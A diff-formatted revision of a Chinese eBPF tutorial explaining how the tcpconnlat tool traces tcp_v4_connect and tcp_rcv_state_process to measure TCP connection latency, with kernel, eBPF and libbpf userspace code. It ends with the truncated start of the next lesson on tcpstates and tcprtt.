eBPF入门实践教程:使用 libbpf-bootstrap 开发程序统计 TCP 连接延时
+eBPF入门开发实践教程十三:统计 TCP 连接延时,并使用 libbpf 在用户态处理数据
+eBPF (Extended Berkeley Packet Filter) 是一项强大的网络和性能分析工具,被应用在 Linux 内核上。eBPF 允许开发者动态加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
+本文是 eBPF 入门开发实践教程的第十三篇,主要介绍如何使用 eBPF 统计 TCP 连接延时,并使用 libbpf 在用户态处理数据。
背景
-在互联网后端日常开发接口的时候中,不管你使用的是C、Java、PHP还是Golang,都避免不了需要调用mysql、redis等组件来获取数据,可能还需要执行一些rpc远程调用,或者再调用一些其它restful api。 在这些调用的底层,基本都是在使用TCP协议进行传输。这是因为在传输层协议中,TCP协议具备可靠的连接,错误重传,拥塞控制等优点,所以目前应用比UDP更广泛一些。但相对而言,tcp 连接也有一些缺点,例如建立连接的延时较长等。因此也会出现像 QUIC ,即 快速UDP网络连接 ( Quick UDP Internet Connections )这样的替代方案。
-tcp 连接延时分析对于网络性能分析优化或者故障排查都能起到不少作用。
-tcpconnlat 的实现原理
-tcpconnlat 这个工具跟踪执行活动TCP连接的内核函数(例如,通过connect()系统调用),并显示本地测量的连接的延迟(时间),即从发送 SYN 到响应包的时间。
-tcp 连接原理
-tcp 连接的整个过程如图所示:
-
在这个连接过程中,我们来简单分析一下每一步的耗时:
+在进行后端开发时,不论使用何种编程语言,我们都常常需要调用 MySQL、Redis 等数据库,或执行一些 RPC 远程调用,或者调用其他的 RESTful API。这些调用的底层,通常都是基于 TCP 协议进行的。原因是 TCP 协议具有可靠连接、错误重传、拥塞控制等优点,因此在网络传输层协议中,TCP 的应用广泛程度超过了 UDP。然而,TCP 也有一些缺点,如建立连接的延时较长。因此,也出现了一些替代方案,例如 QUIC(Quick UDP Internet Connections,快速 UDP 网络连接)。
+分析 TCP 连接延时对网络性能分析、优化以及故障排查都非常有用。
+tcpconnlat 工具概述
+tcpconnlat 这个工具能够跟踪内核中执行活动 TCP 连接的函数(如通过 connect() 系统调用),并测量并显示连接延时,即从发送 SYN 到收到响应包的时间。
TCP 连接原理
+TCP 连接的建立过程,常被称为“三次握手”(Three-way Handshake)。以下是整个过程的步骤:
-
-
- 客户端发出SYNC包:客户端一般是通过connect系统调用来发出 SYN 的,这里牵涉到本机的系统调用和软中断的 CPU 耗时开销 -
- SYN传到服务器:SYN从客户端网卡被发出,这是一次长途远距离的网络传输 -
- 服务器处理SYN包:内核通过软中断来收包,然后放到半连接队列中,然后再发出SYN/ACK响应。主要是 CPU 耗时开销 -
- SYC/ACK传到客户端:长途网络跋涉 -
- 客户端处理 SYN/ACK:客户端内核收包并处理SYN后,经过几us的CPU处理,接着发出 ACK。同样是软中断处理开销 -
- ACK传到服务器:长途网络跋涉 -
- 服务端收到ACK:服务器端内核收到并处理ACK,然后把对应的连接从半连接队列中取出来,然后放到全连接队列中。一次软中断CPU开销 -
- 服务器端用户进程唤醒:正在被accpet系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。一次上下文切换的CPU开销 +
- 客户端向服务器发送 SYN 包:客户端通过
connect()系统调用发出 SYN。这涉及到本地的系统调用以及软中断的 CPU 时间开销。
+ - SYN 包传送到服务器:这是一次网络传输,涉及到的时间取决于网络延迟。 +
- 服务器处理 SYN 包:服务器内核通过软中断接收包,然后将其放入半连接队列,并发送 SYN/ACK 响应。这主要涉及 CPU 时间开销。 +
- SYN/ACK 包传送到客户端:这是另一次网络传输。 +
- 客户端处理 SYN/ACK:客户端内核接收并处理 SYN/ACK 包,然后发送 ACK。这主要涉及软中断处理开销。 +
- ACK 包传送到服务器:这是第三次网络传输。 +
- 服务器接收 ACK:服务器内核接收并处理 ACK,然后将对应的连接从半连接队列移动到全连接队列。这涉及到一次软中断的 CPU 开销。 +
- 唤醒服务器端用户进程:被
accept()系统调用阻塞的用户进程被唤醒,然后从全连接队列中取出来已经建立好的连接。这涉及一次上下文切换的CPU开销。
在客户端视角,在正常情况下一次TCP连接总的耗时也就就大约是一次网络RTT的耗时。但在某些情况下,可能会导致连接时的网络传输耗时上涨、CPU处理开销增加、甚至是连接失败。这种时候在发现延时过长之后,就可以结合其他信息进行分析。
-ebpf 实现原理
-在 TCP 三次握手的时候,Linux 内核会维护两个队列,分别是:
+tcpconnlat 的 eBPF 实现
+为了理解 TCP 的连接建立过程,我们需要理解 Linux 内核在处理 TCP 连接时所使用的两个队列:
-
-
- 半连接队列,也称 SYN 队列; -
- 全连接队列,也称 accepet 队列; +
- 半连接队列(SYN 队列):存储那些正在进行三次握手操作的 TCP 连接,服务器收到 SYN 包后,会将该连接信息存储在此队列中。 +
- 全连接队列(Accept 队列):存储已经完成三次握手,等待应用程序调用
accept()函数的 TCP 连接。服务器在收到 ACK 包后,会创建一个新的连接并将其添加到此队列。
服务端收到客户端发起的 SYN 请求后,内核会把该连接存储到半连接队列,并向客户端响应 SYN+ACK,接着客户端会返回 ACK,服务端收到第三次握手的 ACK 后,内核会把连接从半连接队列移除,然后创建新的完全的连接,并将其添加到 accept 队列,等待进程调用 accept 函数时把连接取出来。
-我们的 ebpf 代码实现在 https://github.com/yunwei37/Eunomia/blob/master/bpftools/tcpconnlat/tcpconnlat.bpf.c 中:
-它主要使用了 trace_tcp_rcv_state_process 和 kprobe/tcp_v4_connect 这样的跟踪点:
-
-SEC("kprobe/tcp_v4_connect")
+理解了这两个队列的用途,我们就可以开始探究 tcpconnlat 的具体实现。tcpconnlat 的实现可以分为内核态和用户态两个部分,其中包括了几个主要的跟踪点:tcp_v4_connect, tcp_v6_connect 和 tcp_rcv_state_process。
+这些跟踪点主要位于内核中的 TCP/IP 网络栈。当执行相关的系统调用或内核函数时,这些跟踪点会被激活,从而触发 eBPF 程序的执行。这使我们能够捕获和测量 TCP 连接建立的整个过程。
+让我们先来看一下这些挂载点的源代码:
+SEC("kprobe/tcp_v4_connect")
int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
{
return trace_connect(sk);
@@ -193,76 +192,456 @@ int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
return handle_tcp_rcv_state_process(ctx, sk);
}
-在 trace_connect 中,我们跟踪新的 tcp 连接,记录到达时间,并且把它加入 map 中:
-struct {
- __uint(type, BPF_MAP_TYPE_HASH);
- __uint(max_entries, 4096);
- __type(key, struct sock *);
- __type(value, struct piddata);
+这段代码展示了三个内核探针(kprobe)的定义。tcp_v4_connect 和 tcp_v6_connect 在对应的 IPv4 和 IPv6 连接被初始化时被触发,调用 trace_connect() 函数,而 tcp_rcv_state_process 在内核处理 TCP 连接状态变化时被触发,调用 handle_tcp_rcv_state_process() 函数。
+接下来的部分将分为两大块:一部分是对这些挂载点内核态部分的分析,我们将解读内核源代码来详细说明这些函数如何工作;另一部分是用户态的分析,将关注 eBPF 程序如何收集这些挂载点的数据,以及如何与用户态程序进行交互。
+tcp_v4_connect 函数解析
+tcp_v4_connect函数是Linux内核处理TCP的IPv4连接请求的主要方式。当用户态程序通过socket系统调用创建了一个套接字后,接着通过connect系统调用尝试连接到远程服务器,此时就会触发tcp_v4_connect函数。
+/* This will initiate an outgoing connection. */
+int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
+{
+ struct sockaddr_in *usin = (struct sockaddr_in *)uaddr;
+ struct inet_timewait_death_row *tcp_death_row;
+ struct inet_sock *inet = inet_sk(sk);
+ struct tcp_sock *tp = tcp_sk(sk);
+ struct ip_options_rcu *inet_opt;
+ struct net *net = sock_net(sk);
+ __be16 orig_sport, orig_dport;
+ __be32 daddr, nexthop;
+ struct flowi4 *fl4;
+ struct rtable *rt;
+ int err;
+
+ if (addr_len < sizeof(struct sockaddr_in))
+ return -EINVAL;
+
+ if (usin->sin_family != AF_INET)
+ return -EAFNOSUPPORT;
+
+ nexthop = daddr = usin->sin_addr.s_addr;
+ inet_opt = rcu_dereference_protected(inet->inet_opt,
+ lockdep_sock_is_held(sk));
+ if (inet_opt && inet_opt->opt.srr) {
+ if (!daddr)
+ return -EINVAL;
+ nexthop = inet_opt->opt.faddr;
+ }
+
+ orig_sport = inet->inet_sport;
+ orig_dport = usin->sin_port;
+ fl4 = &inet->cork.fl.u.ip4;
+ rt = ip_route_connect(fl4, nexthop, inet->inet_saddr,
+ sk->sk_bound_dev_if, IPPROTO_TCP, orig_sport,
+ orig_dport, sk);
+ if (IS_ERR(rt)) {
+ err = PTR_ERR(rt);
+ if (err == -ENETUNREACH)
+ IP_INC_STATS(net, IPSTATS_MIB_OUTNOROUTES);
+ return err;
+ }
+
+ if (rt->rt_flags & (RTCF_MULTICAST | RTCF_BROADCAST)) {
+ ip_rt_put(rt);
+ return -ENETUNREACH;
+ }
+
+ if (!inet_opt || !inet_opt->opt.srr)
+ daddr = fl4->daddr;
+
+ tcp_death_row = &sock_net(sk)->ipv4.tcp_death_row;
+
+ if (!inet->inet_saddr) {
+ err = inet_bhash2_update_saddr(sk, &fl4->saddr, AF_INET);
+ if (err) {
+ ip_rt_put(rt);
+ return err;
+ }
+ } else {
+ sk_rcv_saddr_set(sk, inet->inet_saddr);
+ }
+
+ if (tp->rx_opt.ts_recent_stamp && inet->inet_daddr != daddr) {
+ /* Reset inherited state */
+ tp->rx_opt.ts_recent = 0;
+ tp->rx_opt.ts_recent_stamp = 0;
+ if (likely(!tp->repair))
+ WRITE_ONCE(tp->write_seq, 0);
+ }
+
+ inet->inet_dport = usin->sin_port;
+ sk_daddr_set(sk, daddr);
+
+ inet_csk(sk)->icsk_ext_hdr_len = 0;
+ if (inet_opt)
+ inet_csk(sk)->icsk_ext_hdr_len = inet_opt->opt.optlen;
+
+ tp->rx_opt.mss_clamp = TCP_MSS_DEFAULT;
+
+ /* Socket identity is still unknown (sport may be zero).
+ * However we set state to SYN-SENT and not releasing socket
+ * lock select source port, enter ourselves into the hash tables and
+ * complete initialization after this.
+ */
+ tcp_set_state(sk, TCP_SYN_SENT);
+ err = inet_hash_connect(tcp_death_row, sk);
+ if (err)
+ goto failure;
+
+ sk_set_txhash(sk);
+
+ rt = ip_route_newports(fl4, rt, orig_sport, orig_dport,
+ inet->inet_sport, inet->inet_dport, sk);
+ if (IS_ERR(rt)) {
+ err = PTR_ERR(rt);
+ rt = NULL;
+ goto failure;
+ }
+ /* OK, now commit destination to socket. */
+ sk->sk_gso_type = SKB_GSO_TCPV4;
+ sk_setup_caps(sk, &rt->dst);
+ rt = NULL;
+
+ if (likely(!tp->repair)) {
+ if (!tp->write_seq)
+ WRITE_ONCE(tp->write_seq,
+ secure_tcp_seq(inet->inet_saddr,
+ inet->inet_daddr,
+ inet->inet_sport,
+ usin->sin_port));
+ tp->tsoffset = secure_tcp_ts_off(net, inet->inet_saddr,
+ inet->inet_daddr);
+ }
+
+ inet->inet_id = get_random_u16();
+
+ if (tcp_fastopen_defer_connect(sk, &err))
+ return err;
+ if (err)
+ goto failure;
+
+ err = tcp_connect(sk);
+
+ if (err)
+ goto failure;
+
+ return 0;
+
+failure:
+ /*
+ * This unhashes the socket and releases the local port,
+ * if necessary.
+ */
+ tcp_set_state(sk, TCP_CLOSE);
+ inet_bhash2_reset_saddr(sk);
+ ip_rt_put(rt);
+ sk->sk_route_caps = 0;
+ inet->inet_dport = 0;
+ return err;
+}
+EXPORT_SYMBOL(tcp_v4_connect);
+
+参考链接:https://elixir.bootlin.com/linux/latest/source/net/ipv4/tcp_ipv4.c#L340
+接下来,我们一步步分析这个函数:
+首先,这个函数接收三个参数:一个套接字指针sk,一个指向套接字地址结构的指针uaddr和地址的长度addr_len。
+int tcp_v4_connect(struct sock *sk, struct sockaddr *uaddr, int addr_len)
+
+函数一开始就进行了参数检查,确认地址长度正确,而且地址的协议族必须是IPv4。不满足这些条件会导致函数返回错误。
+接下来,函数获取目标地址,如果设置了源路由选项(这是一个高级的IP特性,通常不会被使用),那么它还会获取源路由的下一跳地址。
+nexthop = daddr = usin->sin_addr.s_addr;
+inet_opt = rcu_dereference_protected(inet->inet_opt,
+ lockdep_sock_is_held(sk));
+if (inet_opt && inet_opt->opt.srr) {
+ if (!daddr)
+ return -EINVAL;
+ nexthop = inet_opt->opt.faddr;
+}
+
+然后,使用这些信息来寻找一个路由到目标地址的路由项。如果不能找到路由项或者路由项指向一个多播或广播地址,函数返回错误。
+接下来,它更新了源地址,处理了一些TCP时间戳选项的状态,并设置了目标端口和地址。之后,它更新了一些其他的套接字和TCP选项,并设置了连接状态为SYN-SENT。
+然后,这个函数使用inet_hash_connect函数尝试将套接字添加到已连接的套接字的散列表中。如果这步失败,它会恢复套接字的状态并返回错误。
+如果前面的步骤都成功了,接着,使用新的源和目标端口来更新路由项。如果这步失败,它会清理资源并返回错误。
+接下来,它提交目标信息到套接字,并为之后的分段偏移选择一个安全的随机值。
+然后,函数尝试使用TCP Fast Open(TFO)进行连接,如果不能使用TFO或者TFO尝试失败,它会使用普通的TCP三次握手进行连接。
+最后,如果上面的步骤都成功了,函数返回成功,否则,它会清理所有资源并返回错误。
+总的来说,tcp_v4_connect函数是一个处理TCP连接请求的复杂函数,它处理了很多情况,包括参数检查、路由查找、源地址选择、源路由、TCP选项处理、TCP Fast Open,等等。它的主要目标是尽可能安全和有效地建立TCP连接。
+内核态代码
+// SPDX-License-Identifier: GPL-2.0
+// Copyright (c) 2020 Wenbo Zhang
+#include <vmlinux.h>
+#include <bpf/bpf_helpers.h>
+#include <bpf/bpf_core_read.h>
+#include <bpf/bpf_tracing.h>
+#include "tcpconnlat.h"
+
+#define AF_INET 2
+#define AF_INET6 10
+
+const volatile __u64 targ_min_us = 0;
+const volatile pid_t targ_tgid = 0;
+
+struct piddata {
+ char comm[TASK_COMM_LEN];
+ u64 ts;
+ u32 tgid;
+};
+
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 4096);
+ __type(key, struct sock *);
+ __type(value, struct piddata);
} start SEC(".maps");
+struct {
+ __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
+ __uint(key_size, sizeof(u32));
+ __uint(value_size, sizeof(u32));
+} events SEC(".maps");
+
static int trace_connect(struct sock *sk)
{
- u32 tgid = bpf_get_current_pid_tgid() >> 32;
- struct piddata piddata = {};
+ u32 tgid = bpf_get_current_pid_tgid() >> 32;
+ struct piddata piddata = {};
- if (targ_tgid && targ_tgid != tgid)
+ if (targ_tgid && targ_tgid != tgid)
+ return 0;
+
+ bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
+ piddata.ts = bpf_ktime_get_ns();
+ piddata.tgid = tgid;
+ bpf_map_update_elem(&start, &sk, &piddata, 0);
return 0;
-
- bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
- piddata.ts = bpf_ktime_get_ns();
- piddata.tgid = tgid;
- bpf_map_update_elem(&start, &sk, &piddata, 0);
- return 0;
}
-
-在 handle_tcp_rcv_state_process 中,我们跟踪接收到的 tcp 数据包,从 map 从提取出对应的 connect 事件,并且计算延迟:
-static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
+
+static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
{
- struct piddata *piddatap;
- struct event event = {};
- s64 delta;
- u64 ts;
+ struct piddata *piddatap;
+ struct event event = {};
+ s64 delta;
+ u64 ts;
- if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
- return 0;
+ if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
+ return 0;
- piddatap = bpf_map_lookup_elem(&start, &sk);
- if (!piddatap)
- return 0;
+ piddatap = bpf_map_lookup_elem(&start, &sk);
+ if (!piddatap)
+ return 0;
- ts = bpf_ktime_get_ns();
- delta = (s64)(ts - piddatap->ts);
- if (delta < 0)
- goto cleanup;
+ ts = bpf_ktime_get_ns();
+ delta = (s64)(ts - piddatap->ts);
+ if (delta < 0)
+ goto cleanup;
- event.delta_us = delta / 1000U;
- if (targ_min_us && event.delta_us < targ_min_us)
- goto cleanup;
- __builtin_memcpy(&event.comm, piddatap->comm,
- sizeof(event.comm));
- event.ts_us = ts / 1000;
- event.tgid = piddatap->tgid;
- event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
- event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
- event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
- if (event.af == AF_INET) {
- event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
- event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
- } else {
- BPF_CORE_READ_INTO(&event.saddr_v6, sk,
- __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
- BPF_CORE_READ_INTO(&event.daddr_v6, sk,
- __sk_common.skc_v6_daddr.in6_u.u6_addr32);
- }
- bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
- &event, sizeof(event));
+ event.delta_us = delta / 1000U;
+ if (targ_min_us && event.delta_us < targ_min_us)
+ goto cleanup;
+ __builtin_memcpy(&event.comm, piddatap->comm,
+ sizeof(event.comm));
+ event.ts_us = ts / 1000;
+ event.tgid = piddatap->tgid;
+ event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
+ event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
+ event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
+ if (event.af == AF_INET) {
+ event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
+ event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
+ } else {
+ BPF_CORE_READ_INTO(&event.saddr_v6, sk,
+ __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
+ BPF_CORE_READ_INTO(&event.daddr_v6, sk,
+ __sk_common.skc_v6_daddr.in6_u.u6_addr32);
+ }
+ bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
+ &event, sizeof(event));
cleanup:
- bpf_map_delete_elem(&start, &sk);
- return 0;
+ bpf_map_delete_elem(&start, &sk);
+ return 0;
+}
+
+SEC("kprobe/tcp_v4_connect")
+int BPF_KPROBE(tcp_v4_connect, struct sock *sk)
+{
+ return trace_connect(sk);
+}
+
+SEC("kprobe/tcp_v6_connect")
+int BPF_KPROBE(tcp_v6_connect, struct sock *sk)
+{
+ return trace_connect(sk);
+}
+
+SEC("kprobe/tcp_rcv_state_process")
+int BPF_KPROBE(tcp_rcv_state_process, struct sock *sk)
+{
+ return handle_tcp_rcv_state_process(ctx, sk);
+}
+
+SEC("fentry/tcp_v4_connect")
+int BPF_PROG(fentry_tcp_v4_connect, struct sock *sk)
+{
+ return trace_connect(sk);
+}
+
+SEC("fentry/tcp_v6_connect")
+int BPF_PROG(fentry_tcp_v6_connect, struct sock *sk)
+{
+ return trace_connect(sk);
+}
+
+SEC("fentry/tcp_rcv_state_process")
+int BPF_PROG(fentry_tcp_rcv_state_process, struct sock *sk)
+{
+ return handle_tcp_rcv_state_process(ctx, sk);
+}
+
+char LICENSE[] SEC("license") = "GPL";
+
+这个eBPF(Extended Berkeley Packet Filter)程序主要用来监控并收集TCP连接的建立时间,即从发起TCP连接请求(connect系统调用)到连接建立完成(SYN-ACK握手过程完成)的时间间隔。这对于监测网络延迟、服务性能分析等方面非常有用。
+首先,定义了两个eBPF maps:start和events。start是一个哈希表,用于存储发起连接请求的进程信息和时间戳,而events是一个PERF_EVENT_ARRAY类型的map,用于将事件数据传输到用户态。
+struct {
+ __uint(type, BPF_MAP_TYPE_HASH);
+ __uint(max_entries, 4096);
+ __type(key, struct sock *);
+ __type(value, struct piddata);
+} start SEC(".maps");
+
+struct {
+ __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
+ __uint(key_size, sizeof(u32));
+ __uint(value_size, sizeof(u32));
+} events SEC(".maps");
+
+在tcp_v4_connect和tcp_v6_connect的kprobe处理函数trace_connect中,会记录下发起连接请求的进程信息(进程名、进程ID和当前时间戳),并以socket结构作为key,存储到start这个map中。
+static int trace_connect(struct sock *sk)
+{
+ u32 tgid = bpf_get_current_pid_tgid() >> 32;
+ struct piddata piddata = {};
+
+ if (targ_tgid && targ_tgid != tgid)
+ return 0;
+
+ bpf_get_current_comm(&piddata.comm, sizeof(piddata.comm));
+ piddata.ts = bpf_ktime_get_ns();
+ piddata.tgid = tgid;
+ bpf_map_update_elem(&start, &sk, &piddata, 0);
+ return 0;
}
+当TCP状态机处理到SYN-ACK包,即连接建立的时候,会触发tcp_rcv_state_process的kprobe处理函数handle_tcp_rcv_state_process。在这个函数中,首先检查socket的状态是否为SYN-SENT,如果是,会从start这个map中查找socket对应的进程信息。然后计算出从发起连接到现在的时间间隔,将该时间间隔,进程信息,以及TCP连接的详细信息(源端口,目标端口,源IP,目标IP等)作为event,通过bpf_perf_event_output函数发送到用户态。
+static int handle_tcp_rcv_state_process(void *ctx, struct sock *sk)
+{
+ struct piddata *piddatap;
+ struct event event = {};
+ s64 delta;
+ u64 ts;
+
+ if (BPF_CORE_READ(sk, __sk_common.skc_state) != TCP_SYN_SENT)
+ return 0;
+
+ piddatap = bpf_map_lookup_elem(&start, &sk);
+ if (!piddatap)
+ return 0;
+
+ ts = bpf_ktime_get_ns();
+ delta = (s64)(ts - piddatap->ts);
+ if (delta < 0)
+ goto cleanup;
+
+ event.delta_us = delta / 1000U;
+ if (targ_min_us && event.delta_us < targ_min_us)
+ goto
+
+ cleanup;
+ __builtin_memcpy(&event.comm, piddatap->comm,
+ sizeof(event.comm));
+ event.ts_us = ts / 1000;
+ event.tgid = piddatap->tgid;
+ event.lport = BPF_CORE_READ(sk, __sk_common.skc_num);
+ event.dport = BPF_CORE_READ(sk, __sk_common.skc_dport);
+ event.af = BPF_CORE_READ(sk, __sk_common.skc_family);
+ if (event.af == AF_INET) {
+ event.saddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_rcv_saddr);
+ event.daddr_v4 = BPF_CORE_READ(sk, __sk_common.skc_daddr);
+ } else {
+ BPF_CORE_READ_INTO(&event.saddr_v6, sk,
+ __sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32);
+ BPF_CORE_READ_INTO(&event.daddr_v6, sk,
+ __sk_common.skc_v6_daddr.in6_u.u6_addr32);
+ }
+ bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU,
+ &event, sizeof(event));
+
+cleanup:
+ bpf_map_delete_elem(&start, &sk);
+ return 0;
+}
+
+理解这个程序的关键在于理解Linux内核的网络栈处理流程,以及eBPF程序的运行模式。Linux内核网络栈对TCP连接建立的处理过程是,首先调用tcp_v4_connect或tcp_v6_connect函数(根据IP版本不同)发起TCP连接,然后在收到SYN-ACK包时,通过tcp_rcv_state_process函数来处理。eBPF程序通过在这两个关键函数上设置kprobe,可以在关键时刻得到通知并执行相应的处理代码。
+一些关键概念说明:
+
+- kprobe:Kernel Probe,是Linux内核中用于动态追踪内核行为的机制。可以在内核函数的入口和退出处设置断点,当断点被触发时,会执行与kprobe关联的eBPF程序。
+- map:是eBPF程序中的一种数据结构,用于在内核态和用户态之间共享数据。
+- socket:在Linux网络编程中,socket是一个抽象概念,表示一个网络连接的端点。内核中的
struct sock结构就是对socket的实现。
+
+用户态数据处理
+用户态数据处理是使用perf_buffer__poll来接收并处理从内核发送到用户态的eBPF事件。perf_buffer__poll是libbpf库提供的一个便捷函数,用于轮询perf event buffer并处理接收到的数据。
+首先,让我们详细看一下主轮询循环:
+ /* main: poll */
+ while (!exiting) {
+ err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS);
+ if (err < 0 && err != -EINTR) {
+ fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err));
+ goto cleanup;
+ }
+ /* reset err to return 0 if exiting */
+ err = 0;
+ }
+
+这段代码使用一个while循环来反复轮询perf event buffer。如果轮询出错(例如由于信号中断),会打印出错误消息。这个轮询过程会一直持续,直到收到一个退出标志exiting。
+接下来,让我们来看看handle_event函数,这个函数将处理从内核发送到用户态的每一个eBPF事件:
+void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) {
+ const struct event* e = data;
+ char src[INET6_ADDRSTRLEN];
+ char dst[INET6_ADDRSTRLEN];
+ union {
+ struct in_addr x4;
+ struct in6_addr x6;
+ } s, d;
+ static __u64 start_ts;
+
+ if (env.timestamp) {
+ if (start_ts == 0)
+ start_ts = e->ts_us;
+ printf("%-9.3f ", (e->ts_us - start_ts) / 1000000.0);
+ }
+ if (e->af == AF_INET) {
+ s.x4.s_addr = e->saddr_v4;
+ d.x4.s_addr = e->daddr_v4;
+ } else if (e->af == AF_INET6) {
+ memcpy(&s.x6.s6_addr, e->saddr_v6, sizeof(s.x6.s6_addr));
+ memcpy(&d.x6.s6_addr, e->daddr_v6, sizeof(d.x6.s6_addr));
+ } else {
+ fprintf(stderr, "broken event: event->af=%d", e->af);
+ return;
+ }
+
+ if (env.lport) {
+ printf("%-6d %-12.12s %-2d %-16s %-6d %-16s %-5d %.2f\n", e->tgid,
+ e->comm, e->af == AF_INET ? 4 : 6,
+ inet_ntop(e->af, &s, src, sizeof(src)), e->lport,
+ inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
+ e->delta_us / 1000.0);
+ } else {
+ printf("%-6d %-12.12s %-2d %-16s %-16s %-5d %.2f\n", e->tgid, e->comm,
+ e->af == AF_INET ? 4 : 6, inet_ntop(e->af, &s, src, sizeof(src)),
+ inet_ntop(e->af, &d, dst, sizeof(dst)), ntohs(e->dport),
+ e->delta_us / 1000.0);
+ }
+}
+
+handle_event函数的参数包括了CPU编号、指向数据的指针以及数据的大小。数据是一个event结构体,包含了之前在内核态计算得到的TCP连接的信息。
+首先,它将接收到的事件的时间戳和起始时间戳(如果存在)进行对比,计算出事件的相对时间,并打印出来。接着,根据IP地址的类型(IPv4或IPv6),将源地址和目标地址从网络字节序转换为主机字节序。
+最后,根据用户是否选择了显示本地端口,将进程ID、进程名称、IP版本、源IP地址、本地端口(如果有)、目标IP地址、目标端口以及连接建立时间打印出来。这个连接建立时间是我们在内核态eBPF程序中计算并发送到用户态的。
编译运行
$ make
...
@@ -277,9 +656,17 @@ PID COMM IP SADDR DADDR DPORT LAT(ms)
222726 ssh 4 192.168.88.15 167.179.101.42 22 241.17
222774 ssh 4 192.168.88.15 1.15.149.151 22 25.31
+源代码:https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/13-tcpconnlat
+参考资料:
+
+- tcpconnlat
+
总结
-通过上面的实验,我们可以看到,tcpconnlat 工具的实现原理是基于内核的TCP连接的跟踪,并且可以跟踪到 tcp 连接的延迟时间;除了命令行使用方式之外,还可以将其和容器、k8s 等元信息综合起来,通过 prometheus 和 grafana 等工具进行网络性能分析。
-来源:https://github.com/iovisor/bcc/blob/master/libbpf-tools/tcpconnlat.bpf.c
+通过本篇 eBPF 入门实践教程,我们学习了如何使用 eBPF 来跟踪和统计 TCP 连接建立的延时。我们首先深入探讨了 eBPF 程序如何在内核态监听特定的内核函数,然后通过捕获这些函数的调用,从而得到连接建立的起始时间和结束时间,计算出延时。
+我们还进一步了解了如何使用 BPF maps 来在内核态存储和查询数据,从而在 eBPF 程序的多个部分之间共享数据。同时,我们也探讨了如何使用 perf events 来将数据从内核态发送到用户态,以便进一步处理和展示。
+在用户态,我们介绍了如何使用 libbpf 库的 API,例如 perf_buffer__poll,来接收和处理内核态发送过来的数据。我们还讲解了如何对这些数据进行解析和打印,使得它们能以人类可读的形式显示出来。
+如果您希望学习更多关于 eBPF 的知识和实践,请查阅 eunomia-bpf 的官方文档:https://github.com/eunomia-bpf/eunomia-bpf 。您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。
+接下来的教程将进一步探讨 eBPF 的高级特性,例如如何使用 eBPF 来追踪网络包的传输路径,如何利用 eBPF 对系统的性能进行细粒度的监控等等。我们会继续分享更多有关 eBPF 开发实践的内容,帮助您更好地理解和掌握 eBPF 技术,希望这些内容对您在 eBPF 开发道路上的学习和实践有所帮助。
eBPF入门实践教程:使用 libbpf-bootstrap 开发程序统计 TCP 连接延时
-内核态代码
-// SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)
-/* Copyright (c) 2021 Hengqi Chen */
-#include <vmlinux.h>
-#include <bpf/bpf_helpers.h>
-#include <bpf/bpf_tracing.h>
-#include <bpf/bpf_core_read.h>
-#include "tcpstates.h"
+ eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT
+eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。
+在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:tcpstates 和 tcprtt。tcpstates 用于记录 TCP 连接的状态变化,而 tcprtt 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。
+tcprtt 与 tcpstates
+网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 tcprtt 这个工具。tcprtt 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。
+当 TCP 链接建立时,tcprtt 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,tcprtt 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,tcprtt 会通过用户态代码,将收集的信息以图形化的方式展示给用户。
+tcpstates 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,tcpstates 可以打印出类似以下的输出:
